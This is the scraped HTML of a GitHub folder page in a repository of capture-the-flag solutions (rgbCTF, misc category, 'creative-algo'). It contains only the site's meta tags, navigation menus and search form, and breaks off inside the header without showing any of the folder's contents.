href="/opensearch.xml" title="GitHub"> <link rel="fluid-icon" href="https://github.com/fluidicon.png" title="GitHub"> <meta property="fb:app_id" content="1401488693436528"> <meta name="apple-itunes-app" content="app-id=1477376905" /> <meta name="twitter:image:src" content="https://opengraph.githubassets.com/bd5503cd874b2aa8ff5165158ad67b31f52a409017e508c60ff9be5b985b019b/BigB00st/ctf-solutions" /><meta name="twitter:site" content="@github" /><meta name="twitter:card" content="summary_large_image" /><meta name="twitter:title" content="ctf-solutions/rgbCTF/misc/creative-algo at master ยท BigB00st/ctf-solutions" /><meta name="twitter:description" content="Solutions for ctf challenges. Contribute to BigB00st/ctf-solutions development by creating an account on GitHub." /> <meta property="og:image" content="https://opengraph.githubassets.com/bd5503cd874b2aa8ff5165158ad67b31f52a409017e508c60ff9be5b985b019b/BigB00st/ctf-solutions" /><meta property="og:image:alt" content="Solutions for ctf challenges. Contribute to BigB00st/ctf-solutions development by creating an account on GitHub." /><meta property="og:image:width" content="1200" /><meta property="og:image:height" content="600" /><meta property="og:site_name" content="GitHub" /><meta property="og:type" content="object" /><meta property="og:title" content="ctf-solutions/rgbCTF/misc/creative-algo at master ยท BigB00st/ctf-solutions" /><meta property="og:url" content="https://github.com/BigB00st/ctf-solutions" /><meta property="og:description" content="Solutions for ctf challenges. Contribute to BigB00st/ctf-solutions development by creating an account on GitHub." /> <link rel="assets" href="https://github.githubassets.com/"> <meta name="hostname" content="github.com"> <meta name="expected-hostname" content="github.com"> <meta name="enabled-features" content="TURBO_EXPERIMENT_RISKY,IMAGE_METRIC_TRACKING,GEOJSON_AZURE_MAPS"> <meta http-equiv="x-pjax-version" content="ef97471de14f8d2285f0269e8f0f7dc70845f693d3f6ccd2dd2daae5cd1bbebe" data-turbo-track="reload"> <meta http-equiv="x-pjax-csp-version" content="2a84822a832da97f1ea76cf989a357ec70c85713a2fd8f14c8421b76bbffe38c" data-turbo-track="reload"> <meta http-equiv="x-pjax-css-version" content="adfc12179419e463f9f320d07920b1684c9b7e060d4d9cd3a6cd5d0de37ce710" data-turbo-track="reload"> <meta http-equiv="x-pjax-js-version" content="711646ae23abb27cf728346f30f81c042d4428233a0795acf0e21ed664fe9d94" data-turbo-track="reload"> <meta name="turbo-cache-control" content="no-preview" data-turbo-transient=""> <meta data-hydrostats="publish"> <meta name="go-import" content="github.com/BigB00st/ctf-solutions git https://github.com/BigB00st/ctf-solutions.git"> <meta name="octolytics-dimension-user_id" content="45171153" /><meta name="octolytics-dimension-user_login" content="BigB00st" /><meta name="octolytics-dimension-repository_id" content="252509468" /><meta name="octolytics-dimension-repository_nwo" content="BigB00st/ctf-solutions" /><meta name="octolytics-dimension-repository_public" content="true" /><meta name="octolytics-dimension-repository_is_fork" content="false" /><meta name="octolytics-dimension-repository_network_root_id" content="252509468" /><meta name="octolytics-dimension-repository_network_root_nwo" content="BigB00st/ctf-solutions" /> <link rel="canonical" href="https://github.com/BigB00st/ctf-solutions/tree/master/rgbCTF/misc/creative-algo" data-turbo-transient> <meta name="turbo-body-classes" content="logged-out env-production page-responsive"> <meta name="browser-stats-url" content="https://api.github.com/_private/browser/stats"> <meta name="browser-errors-url" content="https://api.github.com/_private/browser/errors"> <meta name="browser-optimizely-client-errors-url" content="https://api.github.com/_private/browser/optimizely_client/errors"> <link rel="mask-icon" href="https://github.githubassets.com/pinned-octocat.svg" color="#000000"> <link rel="alternate icon" class="js-site-favicon" type="image/png" href="https://github.githubassets.com/favicons/favicon.png"> <link rel="icon" class="js-site-favicon" type="image/svg+xml" href="https://github.githubassets.com/favicons/favicon.svg"> <meta name="theme-color" content="#1e2327"><meta name="color-scheme" content="light dark" /> <link rel="manifest" href="/manifest.json" crossOrigin="use-credentials"> </head> <body class="logged-out env-production page-responsive" style="word-wrap: break-word;"> <div data-turbo-body class="logged-out env-production page-responsive" style="word-wrap: break-word;"> <div class="position-relative js-header-wrapper "> Skip to content <span> <span></span></span> <script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_delegated-events_dist_inde-94fd67-04fa93bb158a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/sessions-9920eaa99f50.js"></script><header class="Header-old header-logged-out js-details-container Details position-relative f4 py-3" role="banner"> <button type="button" class="Header-backdrop d-lg-none border-0 position-fixed top-0 left-0 width-full height-full js-details-target" aria-label="Toggle navigation"> <span>Toggle navigation</span> </button> <div class="container-xl d-flex flex-column flex-lg-row flex-items-center p-responsive height-full position-relative z-1"> <div class="d-flex flex-justify-between flex-items-center width-full width-lg-auto"> <svg height="32" aria-hidden="true" viewBox="0 0 16 16" version="1.1" width="32" data-view-component="true" class="octicon octicon-mark-github"> <path d="M8 0c4.42 0 8 3.58 8 8a8.013 8.013 0 0 1-5.45 7.59c-.4.08-.55-.17-.55-.38 0-.27.01-1.13.01-2.2 0-.75-.25-1.23-.54-1.48 1.78-.2 3.65-.88 3.65-3.95 0-.88-.31-1.59-.82-2.15.08-.2.36-1.02-.08-2.12 0 0-.67-.22-2.2.82-.64-.18-1.32-.27-2-.27-.68 0-1.36.09-2 .27-1.53-1.03-2.2-.82-2.2-.82-.44 1.1-.16 1.92-.08 2.12-.51.56-.82 1.28-.82 2.15 0 3.06 1.86 3.75 3.64 3.95-.23.2-.44.55-.51 1.07-.46.21-1.61.55-2.33-.66-.15-.24-.6-.83-1.23-.82-.67.01-.27.38.01.53.34.19.73.9.82 1.13.16.45.68 1.31 2.69.94 0 .67.01 1.3.01 1.49 0 .21-.15.45-.55.38A7.995 7.995 0 0 1 0 8c0-4.42 3.58-8 8-8Z"></path></svg> <div class="flex-1"> Signย up </div> <div class="flex-1 flex-order-2 text-right"> <button aria-label="Toggle navigation" aria-expanded="false" type="button" data-view-component="true" class="js-details-target Button--link Button--medium Button d-lg-none color-fg-inherit p-1"> <span> <span><div class="HeaderMenu-toggle-bar rounded my-1"></div> <div class="HeaderMenu-toggle-bar rounded my-1"></div> <div class="HeaderMenu-toggle-bar rounded my-1"></div></span> </span></button> </div> </div> <div class="HeaderMenu--logged-out p-responsive height-fit position-lg-relative d-lg-flex flex-column flex-auto pt-7 pb-4 top-0"> <div class="header-menu-wrapper d-flex flex-column flex-self-end flex-lg-row flex-justify-between flex-auto p-3 p-lg-0 rounded rounded-lg-0 mt-3 mt-lg-0"> <nav class="mt-0 px-3 px-lg-0 mb-3 mb-lg-0" aria-label="Global"> <button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Product <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 d-lg-flex dropdown-menu-wide"> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-workflow color-fg-subtle mr-3"> <path d="M1 3a2 2 0 0 1 2-2h6.5a2 2 0 0 1 2 2v6.5a2 2 0 0 1-2 2H7v4.063C7 16.355 7.644 17 8.438 17H12.5v-2.5a2 2 0 0 1 2-2H21a2 2 0 0 1 2 2V21a2 2 0 0 1-2 2h-6.5a2 2 0 0 1-2-2v-2.5H8.437A2.939 2.939 0 0 1 5.5 15.562V11.5H3a2 2 0 0 1-2-2Zm2-.5a.5.5 0 0 0-.5.5v6.5a.5.5 0 0 0 .5.5h6.5a.5.5 0 0 0 .5-.5V3a.5.5 0 0 0-.5-.5ZM14.5 14a.5.5 0 0 0-.5.5V21a.5.5 0 0 0 .5.5H21a.5.5 0 0 0 .5-.5v-6.5a.5.5 0 0 0-.5-.5Z"></path></svg> <div> <div class="color-fg-default h4">Actions</div> Automate any workflow </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-package color-fg-subtle mr-3"> <path d="M12.876.64V.639l8.25 4.763c.541.313.875.89.875 1.515v9.525a1.75 1.75 0 0 1-.875 1.516l-8.25 4.762a1.748 1.748 0 0 1-1.75 0l-8.25-4.763a1.75 1.75 0 0 1-.875-1.515V6.917c0-.625.334-1.202.875-1.515L11.126.64a1.748 1.748 0 0 1 1.75 0Zm-1 1.298L4.251 6.34l7.75 4.474 7.75-4.474-7.625-4.402a.248.248 0 0 0-.25 0Zm.875 19.123 7.625-4.402a.25.25 0 0 0 .125-.216V7.639l-7.75 4.474ZM3.501 7.64v8.803c0 .09.048.172.125.216l7.625 4.402v-8.947Z"></path></svg> <div> <div class="color-fg-default h4">Packages</div> Host and manage packages </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-shield-check color-fg-subtle mr-3"> <path d="M16.53 9.78a.75.75 0 0 0-1.06-1.06L11 13.19l-1.97-1.97a.75.75 0 0 0-1.06 1.06l2.5 2.5a.75.75 0 0 0 1.06 0l5-5Z"></path><path d="m12.54.637 8.25 2.675A1.75 1.75 0 0 1 22 4.976V10c0 6.19-3.771 10.704-9.401 12.83a1.704 1.704 0 0 1-1.198 0C5.77 20.705 2 16.19 2 10V4.976c0-.758.489-1.43 1.21-1.664L11.46.637a1.748 1.748 0 0 1 1.08 0Zm-.617 1.426-8.25 2.676a.249.249 0 0 0-.173.237V10c0 5.46 3.28 9.483 8.43 11.426a.199.199 0 0 0 .14 0C17.22 19.483 20.5 15.461 20.5 10V4.976a.25.25 0 0 0-.173-.237l-8.25-2.676a.253.253 0 0 0-.154 0Z"></path></svg> <div> <div class="color-fg-default h4">Security</div> Find and fix vulnerabilities </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-codespaces color-fg-subtle mr-3"> <path d="M3.5 3.75C3.5 2.784 4.284 2 5.25 2h13.5c.966 0 1.75.784 1.75 1.75v7.5A1.75 1.75 0 0 1 18.75 13H5.25a1.75 1.75 0 0 1-1.75-1.75Zm-2 12c0-.966.784-1.75 1.75-1.75h17.5c.966 0 1.75.784 1.75 1.75v4a1.75 1.75 0 0 1-1.75 1.75H3.25a1.75 1.75 0 0 1-1.75-1.75ZM5.25 3.5a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h13.5a.25.25 0 0 0 .25-.25v-7.5a.25.25 0 0 0-.25-.25Zm-2 12a.25.25 0 0 0-.25.25v4c0 .138.112.25.25.25h17.5a.25.25 0 0 0 .25-.25v-4a.25.25 0 0 0-.25-.25Z"></path><path d="M10 17.75a.75.75 0 0 1 .75-.75h6.5a.75.75 0 0 1 0 1.5h-6.5a.75.75 0 0 1-.75-.75Zm-4 0a.75.75 0 0 1 .75-.75h.5a.75.75 0 0 1 0 1.5h-.5a.75.75 0 0 1-.75-.75Z"></path></svg> <div> <div class="color-fg-default h4">Codespaces</div> Instant dev environments </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-copilot color-fg-subtle mr-3"> <path d="M9.75 14a.75.75 0 0 1 .75.75v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 .75-.75Zm4.5 0a.75.75 0 0 1 .75.75v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 .75-.75Z"></path><path d="M12 2c2.214 0 4.248.657 5.747 1.756.136.099.268.204.397.312.584.235 1.077.546 1.474.952.85.869 1.132 2.037 1.132 3.368 0 .368-.014.733-.052 1.086l.633 1.478.043.022A4.75 4.75 0 0 1 24 15.222v1.028c0 .529-.309.987-.565 1.293-.28.336-.636.653-.966.918a13.84 13.84 0 0 1-1.299.911l-.024.015-.006.004-.039.025c-.223.135-.45.264-.68.386-.46.245-1.122.571-1.941.895C16.845 21.344 14.561 22 12 22c-2.561 0-4.845-.656-6.479-1.303a19.046 19.046 0 0 1-1.942-.894 14.081 14.081 0 0 1-.535-.3l-.144-.087-.04-.025-.006-.004-.024-.015a13.16 13.16 0 0 1-1.299-.911 6.913 6.913 0 0 1-.967-.918C.31 17.237 0 16.779 0 16.25v-1.028a4.75 4.75 0 0 1 2.626-4.248l.043-.022.633-1.478a10.195 10.195 0 0 1-.052-1.086c0-1.331.282-2.498 1.132-3.368.397-.406.89-.717 1.474-.952.129-.108.261-.213.397-.312C7.752 2.657 9.786 2 12 2Zm-8 9.654v6.669a17.59 17.59 0 0 0 2.073.98C7.595 19.906 9.686 20.5 12 20.5c2.314 0 4.405-.594 5.927-1.197a17.59 17.59 0 0 0 2.073-.98v-6.669l-.038-.09c-.046.061-.095.12-.145.177-.793.9-2.057 1.259-3.782 1.259-1.59 0-2.738-.544-3.508-1.492a4.323 4.323 0 0 1-.355-.508h-.344a4.323 4.323 0 0 1-.355.508C10.704 12.456 9.555 13 7.965 13c-1.725 0-2.989-.359-3.782-1.259a3.026 3.026 0 0 1-.145-.177Zm6.309-1.092c.445-.547.708-1.334.851-2.301.057-.357.087-.718.09-1.079v-.031c-.001-.762-.166-1.26-.43-1.568l-.008-.01c-.341-.391-1.046-.689-2.533-.529-1.505.163-2.347.537-2.824 1.024-.462.473-.705 1.18-.705 2.32 0 .605.044 1.087.135 1.472.092.384.231.672.423.89.365.413 1.084.75 2.657.75.91 0 1.527-.223 1.964-.564.14-.11.268-.235.38-.374Zm2.504-2.497c.136 1.057.403 1.913.878 2.497.442.545 1.134.938 2.344.938 1.573 0 2.292-.337 2.657-.751.384-.435.558-1.151.558-2.361 0-1.14-.243-1.847-.705-2.319-.477-.488-1.318-.862-2.824-1.025-1.487-.161-2.192.139-2.533.529-.268.308-.437.808-.438 1.578v.02c.002.299.023.598.063.894Z"></path></svg> <div> <div class="color-fg-default h4">Copilot</div> Write better code with AI </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-code-review color-fg-subtle mr-3"> <path d="M10.3 6.74a.75.75 0 0 1-.04 1.06l-2.908 2.7 2.908 2.7a.75.75 0 1 1-1.02 1.1l-3.5-3.25a.75.75 0 0 1 0-1.1l3.5-3.25a.75.75 0 0 1 1.06.04Zm3.44 1.06a.75.75 0 1 1 1.02-1.1l3.5 3.25a.75.75 0 0 1 0 1.1l-3.5 3.25a.75.75 0 1 1-1.02-1.1l2.908-2.7-2.908-2.7Z"></path><path d="M1.5 4.25c0-.966.784-1.75 1.75-1.75h17.5c.966 0 1.75.784 1.75 1.75v12.5a1.75 1.75 0 0 1-1.75 1.75h-9.69l-3.573 3.573A1.458 1.458 0 0 1 5 21.043V18.5H3.25a1.75 1.75 0 0 1-1.75-1.75ZM3.25 4a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h2.5a.75.75 0 0 1 .75.75v3.19l3.72-3.72a.749.749 0 0 1 .53-.22h10a.25.25 0 0 0 .25-.25V4.25a.25.25 0 0 0-.25-.25Z"></path></svg> <div> <div class="color-fg-default h4">Code review</div> Manage code changes </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-issue-opened color-fg-subtle mr-3"> <path d="M12 1c6.075 0 11 4.925 11 11s-4.925 11-11 11S1 18.075 1 12 5.925 1 12 1ZM2.5 12a9.5 9.5 0 0 0 9.5 9.5 9.5 9.5 0 0 0 9.5-9.5A9.5 9.5 0 0 0 12 2.5 9.5 9.5 0 0 0 2.5 12Zm9.5 2a2 2 0 1 1-.001-3.999A2 2 0 0 1 12 14Z"></path></svg> <div> <div class="color-fg-default h4">Issues</div> Plan and track work </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-comment-discussion color-fg-subtle mr-3"> <path d="M1.75 1h12.5c.966 0 1.75.784 1.75 1.75v9.5A1.75 1.75 0 0 1 14.25 14H8.061l-2.574 2.573A1.458 1.458 0 0 1 3 15.543V14H1.75A1.75 1.75 0 0 1 0 12.25v-9.5C0 1.784.784 1 1.75 1ZM1.5 2.75v9.5c0 .138.112.25.25.25h2a.75.75 0 0 1 .75.75v2.19l2.72-2.72a.749.749 0 0 1 .53-.22h6.5a.25.25 0 0 0 .25-.25v-9.5a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25Z"></path><path d="M22.5 8.75a.25.25 0 0 0-.25-.25h-3.5a.75.75 0 0 1 0-1.5h3.5c.966 0 1.75.784 1.75 1.75v9.5A1.75 1.75 0 0 1 22.25 20H21v1.543a1.457 1.457 0 0 1-2.487 1.03L15.939 20H10.75A1.75 1.75 0 0 1 9 18.25v-1.465a.75.75 0 0 1 1.5 0v1.465c0 .138.112.25.25.25h5.5a.75.75 0 0 1 .53.22l2.72 2.72v-2.19a.75.75 0 0 1 .75-.75h2a.25.25 0 0 0 .25-.25v-9.5Z"></path></svg> <div> <div class="color-fg-default h4">Discussions</div> Collaborate outside of code </div> Explore All features Documentation <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> GitHub Skills <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> Blog <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> </div> <button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Solutions <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 px-lg-4"> For Enterprise Teams Startups Education <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> By Solution CI/CD & Automation DevOps <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> DevSecOps <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> Case Studies Customer Stories Resources <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> </div> <button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Open Source <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 px-lg-4"> <div> <div class="color-fg-default h4">GitHub Sponsors</div> Fund open source developers </div> <div> <div class="color-fg-default h4">The ReadME Project</div> GitHub community articles </div> Repositories Topics Trending Collections </div> Pricing </nav> <div class="d-lg-flex flex-items-center px-3 px-lg-0 mb-3 mb-lg-0 text-center text-lg-left"> <div class="d-lg-flex min-width-0 mb-2 mb-lg-0"> <div class="header-search flex-auto position-relative js-site-search flex-self-stretch flex-md-self-auto mb-3 mb-md-0 mr-0 mr-md-3 scoped-search site-scoped-search js-jump-to"> <div class="position-relative"> </option></form><form class="js-site-search-form" role="search" aria-label="Site" data-scope-type="Repository" data-scope-id="252509468" data-scoped-search-url="/BigB00st/ctf-solutions/search" data-owner-scoped-search-url="/users/BigB00st/search" data-unscoped-search-url="/search" data-turbo="false" action="/BigB00st/ctf-solutions/search" accept-charset="UTF-8" method="get"> <label class="form-control header-search-wrapper input-sm p-0 js-chromeless-input-container header-search-wrapper-jump-to position-relative d-flex flex-justify-between flex-items-center"> <input type="text" class="form-control js-site-search-focus header-search-input jump-to-field js-jump-to-field js-site-search-field is-clearable" data-hotkey=s,/ name="q" placeholder="Search" data-unscoped-placeholder="Search GitHub" data-scoped-placeholder="Search" autocapitalize="off" role="combobox" aria-haspopup="listbox" aria-expanded="false" aria-autocomplete="list" aria-controls="jump-to-results" aria-label="Search" data-jump-to-suggestions-path="/_graphql/GetSuggestedNavigationDestinations" spellcheck="false" autocomplete="off" > <input type="hidden" data-csrf="true" class="js-data-jump-to-suggestions-path-csrf" value="8OF+aQaxye9wzvdH9v0bT2v5aId5UmUKDPTw45BZzGgwnNssbCrU2WQsskkWXqFdVju5AoTU2adbBG7GnleDIQ==" /> <input type="hidden" class="js-site-search-type-field" name="type" > <svg xmlns="http://www.w3.org/2000/svg" width="22" height="20" aria-hidden="true" class="mr-1 header-search-key-slash"><path fill="none" stroke="#979A9C" opacity=".4" d="M3.5.5h12c1.7 0 3 1.3 3 3v13c0 1.7-1.3 3-3 3h-12c-1.7 0-3-1.3-3-3v-13c0-1.7 1.3-3 3-3z"></path><path fill="#979A9C" d="M11.8 6L8 15.1h-.9L10.8 6h1z"></path></svg> <div class="Box position-absolute overflow-hidden d-none jump-to-suggestions js-jump-to-suggestions-container"> <div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div> <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div> <div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>โ†ต</span> </div> <div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>โ†ต</span> </div> <span>No suggested jump to results</span> <div 